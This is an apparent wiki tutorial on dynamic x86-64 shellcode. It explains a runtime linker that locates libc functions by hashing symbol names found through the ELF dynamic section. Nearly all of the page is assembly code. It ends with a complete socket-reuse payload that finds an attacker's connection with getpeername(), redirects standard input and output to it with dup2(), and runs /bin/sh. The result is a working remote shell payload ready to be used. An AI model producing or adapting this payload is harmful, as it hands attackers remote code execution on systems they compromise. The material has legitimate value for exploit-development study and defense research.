Shellcode/Dynamic
Contents
Dynamic shellcode
The C Calling convention's impact
- The usual format for a system call or libc function invokation:
function_call(%rax) = function(%rdi, %rsi, %rdx, %r10, %r8, %r9) |
- The return value is usually returned into the %rax register.
Because of the above statement, we can see easily when writing a linker that the following registers need not be reserved for function calls before calling them without syscalls:
%rax, %rbx, %rcx, %rbp, %r11, %r12, %r13, %r14, %r15 |
Most of these registers can get blown away by different libc functions, however %rbx is reserved for "developer use" by libc. When writing a dynamic linker, function arguments must be preserved so that a developer can easily write dynamically integrated code. To that end, this linker takes %rbx as the base pointer to a library and %rbp for a function hash. This ensures that the developer maintains control over %rax, %rdi, %rsi, %rdx, %r10, %r8, and %r9. The %rcx register is used as the pointer to the invoke_function label. Developers should be aware to preserve this when invoking functions which may destroy the register, or change this by changing the register popped in the __initialize_world label.
Function hashing
- Additional labels have been added to make this more readable.
calc_hash: preserve_regs: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi restore_regs: pop %rdx pop %rax |
Dynamic section traversal to the GOT
_start: push $0x400130ff pop %rbx shr $0x8, %ebx |
fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx |
Extracting a library pointer
extract_pointer: mov 0x20(%rcx), %rbx |
find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base |
Staging the user defined code
- Now that a base pointer has been calculated, it is time to stage the developer or user-defined code. To make invoke_function re-usable from a register, a getPc via %rcx is invoked that jumps to the _world label and never returns. The address of invoke_function has then been stored in the %rcx register, allowing developers to access it efficiently.
jmp startup __initialize_world: pop %rcx jmp _world startup: call __initialize_world invoke_function: ... _world: ; user-defined code goes here |
The interface
The runtime linker developed here allows user-defined code to start at the _world label. This example is a small dynamic snippet that when combined with the linker's API equivocates to `exit()':
_world: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx |
The invoking of functions
; ; Takes a function hash in %rbp and base pointer in %rbx ; >Parses the dynamic section headers of the ELF64 image ; >Uses ROP to invoke the function on the way back to the ; -normal return location ; ; Returns results of function to invoke. ; |
invoke_function: push %rbp push %rbp push %rdx push %rdi push %rax push %rbx push %rsi |
set_regs: xor %rdx, %rdx push %rbp pop %rdi |
copy_base: push %rbx pop %rbp |
read_dynamic_section: push $0x4c pop %rax add (%rbx, %rax, 4), %rbx |
check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type |
string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. |
check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi |
calc_hash: ... |
check_current_hash: cmp %esi, %edi jne check_next_hash |
found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret |
The dynamic shell
- Once added to the linker, this becomes a total of a 270 byte dynamic port of the 115 byte socket-reuse payload. There are a few ways to optimize it that will be left for the reader to discover.
_world: movl $0xf8cc01f7, %ebp # hash of getpeername() is in %rbp push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %di jz exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push %rcx call *%rcx # getpeername(counterfd,sockaddr_in) pop %rcx check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax not %eax cmpl %eax, (%rsp,%r8,4) jne loop check_port: movb $0x35, %r8b mov $0x2dfb, %ax not %eax cmpw %ax,(%rsp, %r8 ,2) # jne loop push $0x70672750 pop %rbp # Function hash of dup2() is in rbp reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx # dup2(sockfd,std[err|in|out]); pop %rcx inc %esi cmp $0x4, %esi jne dup_loop movl $0xf66bbb37, %ebp # Place the function hash for execve() into %rbp xor %rdi, %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' call *%rcx # execve('/bin/sh',0,0); |
<center>